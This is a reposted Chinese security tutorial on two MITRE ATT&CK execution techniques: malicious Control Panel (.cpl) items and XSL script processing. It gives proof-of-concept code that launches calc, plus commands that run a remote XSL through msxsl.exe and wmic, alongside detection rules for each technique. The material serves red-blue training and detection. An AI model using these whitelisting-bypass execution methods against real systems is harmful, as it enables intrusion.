免费发布信息
当前位置:APP交易 > 热点资讯 > app交易 >  ATT&CK攻防初窥系列–执行篇

ATT&CK攻防初窥系列–执行篇

发表时间:2021-07-09 17:13:05  来源:红帽社区  浏览:次   【】【】【
红帽社区是一个垂直网络安全社区,融合“红帽先锋”正能量精神,每日分享最新安全资讯,提供安全问答、靶场、众测、漏洞库等功能,是网络安全爱好者学习、交流的优质社区。

转载来源:https://www.freebuf.com/column/220681.html
ATT&CK是一个基于真实世界所观测到的对抗性战术和知识库。将众多的红队技术分门别类的列举了出来,对于红队的进攻有着很强的指导意义。而对于蓝队来说,ATT&CK框架为蓝队提供了一种相互沟通的语言,使得蓝队可以围绕着ATT&CK框架共筑安全长城。我们首先从执行入手,带领大家初窥ATT&CK攻防。

如果要评选网络安全界近年热词排行的话,那么ATT&CK这个词一定是稳居top3的。我们经常看到关于ATT&CK的一些技术文章分享,那么ATT&CK到底是什么呢?MITRE ATT&CK™ is a globally-accessible knowledge base of adversary tactics and techniques based on real-world observations.这是官网对于ATT&CK框架的解释,向我们表明了ATT&CK是一个基于真实世界所观测到的对抗性战术和知识库。其将众多的红队技术分门别类的列举了出来,对于红队的进攻有着很强的指导意义。而对于蓝队来说,ATT&CK框架为蓝队提供了一种相互沟通的语言,可以理解为一种通用货币,使得蓝队可以围绕着ATT&CK框架共筑安全长城。介于ATT&CK框架对于红蓝双方学习的重要性和必要性,我们团队将会对ATT&CK的研究专门写一个系列,具体介绍ATT&CK技术的复现和威胁特征提取。

ATT&CK框架将对抗性战术分为几个阶段,分别是Initial Access、Execution、Persistence、Privilege Escalation、Defense Evasion、Credential Access、Discovery、Lateral Movement、Collection、C2、Exfiltration、impact。我们首先从执行入手,带领大家初窥ATT&CK攻防。

T1196-Control Panel Items

控制面板项目是注册的可执行文件(.exe)或控制面板(.cpl)文件,CPL实际上是重命名的动态链接库(.dll)文件,可导出CPlApplet函数。控制面板项可以直接从命令行执行,也可以通过Control_RunDLL(API)调用或者直接双击文件。

攻击者可以使用控制面板项目来执行任意命令。恶意控制面板项目可以通过钓鱼邮件投递,也可以作为多阶段恶意软件的一个执行方法。控制面板项目,尤其是CPL文件,也可能会绕过应用程序或文件扩展名白名单。

命令执行

// dllmain.cpp : 定义 DLL 应用程序的入口点。
#include “stdafx.h”
#include <windows.h>

BOOL APIENTRY DllMain( HMODULE hModule,

        DWORD  ul_reason_for_call,
        LPVOID lpReserved
       )

{
switch (ul_reason_for_call)
{
case DLL_PROCESS_ATTACH:
WinExec(“cmd.exe /c calc”, SW_SHOW);
case DLL_THREAD_ATTACH:
case DLL_THREAD_DETACH:
case DLL_PROCESS_DETACH:

break;

}
return TRUE;
}

这里我们用了点取巧的办法,直接将代码写在了attach里面,将上述代码编译为dll文件CPIApplet.dll(可以随意命名),然后将CPIApplet.dll重命名为CPIApplet.cpl

技术复现

control.exe c:usersW10PC1desktopCPIApplet.cpl //这里cpl一定要采用绝对路径否则失败

image.png

技术复现(双击)

image.png

技术复现(使用导出函数Control_RunDLL)

rundll32.exe shell32.dll,Control_RunDLL c:usersW10PC1desktopCPIApplet.cpl

威胁检测

数据源:API监视,二进制文件元数据,DLL监视,Windows注册表,Windows事件日志,进程命令行参数,进程监视

进程特征:(级别:高)

# 无论是通过control.exe执行、还是双击,最后都会通过rundll32调用shell32的导出函数Control_RunDLL来运行payload
Image contains ‘rundll32.exe’ AND CommandLine contains ‘Shell32.dll’ AND CommandLine contains ‘Control_RunDLL’ AND CommandLine regex ‘^.*.cpl$’

image.png

进程特征:(级别:仅审计)

# 执行的payload文件后缀名不一定是cpl,可以是任意后缀,为了防止被绕过检测。需要记录其他相关调用Control_RunDLL API的行为
Image contains ‘rundll32.exe’ AND CommandLine contains ‘Shell32.dll’ AND CommandLine contains ‘Control_RunDLL’

image.png

T1220 XSL Script Processing

XSL 指扩展样式表语言(EXtensible Stylesheet Language)。万维网联盟 (W3C) 开始发展 XSL 的原因是:存在着对于基于 XML 的样式表语言的需求。在红蓝对抗中,使用XSL文件执行恶意代码有时可以帮助我们绕过APPLocker。下面介绍两种利用手段。

命令执行

技术复现(MSXSL.EXE)

msxsl.exe是微软用于命令行下处理XSL的一个程序,通过它我们可以执行XSL内的JavaScript进而执行系统命令。下载地址:https://www.microsoft.com/en-us/download/confirmation.aspx?id=21714。msxsl命令行接收形为 msxsl.exe {file} {xslfile} 的参数。由于XSL算是一种特殊的XML,我们可以使用msxsl.exe {xslfile} {xslfile}调用xsl文件内的命令。

Ail.xsl

<? version='1.0′?>
<xsl:stylesheet version=”1.0″
ns:xsl=”http://www.w3.org/1999/XSL/Transform“
ns:msxsl=”urn:schemas-microsoft-com:xslt”
ns:user=”https://www.dbappsecurity.com.cn“>

<msxsl: language=”JScript” implements-prefix=”user”>
function (nodelist) {
var r = new ActiveXObject(“WScript.Shell”).Run(“calc.exe”);
return nodelist.nextNode().;

}
</msxsl:>
<xsl:template match=”/”>
<xsl:value-of select=”user:(.)”/>
</xsl:template>
</xsl:stylesheet>

本地执行

msxsl.exe Ail.xsl Ail.xsl

image.png

远程执行

msxsl.exe http://xxx.xxx.xxx.xxx/Ail.xsl http://xxx.xxx.xxx.xxx/Ail.xsl

image.png

技术复现(WMIC.EXE)

wmic可以通过形如:wmic.exe {wmiccommand} /FORMAT:{xslfile}的方式执行xsl内的恶意代码。{wmic command内可以填写任意的wmic可执行的命令}

本地执行

wmic process get name /format:Ail.xsl

image.png

远程执行

wmic process get name /format:”http://xxx.xxx.xxx.xxx/Ail.xsl” //这里的format后的网址一定要加上双引号不然会报错

image.png

威胁检测

数据源:进程监视,进程命令行参数,网络的进程使用,DLL监视

MSXSL.EXE

进程特征:(级别:高)

#当MSXSL.EXE作为父进程创建其他进程时视为可疑
ParentImage regex ‘^.*msxsl.exe$’

image.png

加载项特征:(级别:高)

#当MSXSL.EXE加载j.dll时视为可疑
Image regex ‘^.*msxsl.exe$’ AND ImageLoaded contains ‘j.dll’

image.png

WMIC.EXE

加载项特征:(级别:高)

#当WMIC.EXE加载j.dll视为可疑
Image regex ‘^.*wmic.exe$’ AND ImageLoaded contains ‘j.dll’

image.png

责任编辑:
声明:本平台发布的内容(图片、视频和文字)以原创、转载和分享网络内容为主,如果涉及侵权请尽快告知,我们将会在第一时间删除。文章观点不代表本网站立场,如需处理请联系客服。

德品

1377 678 6470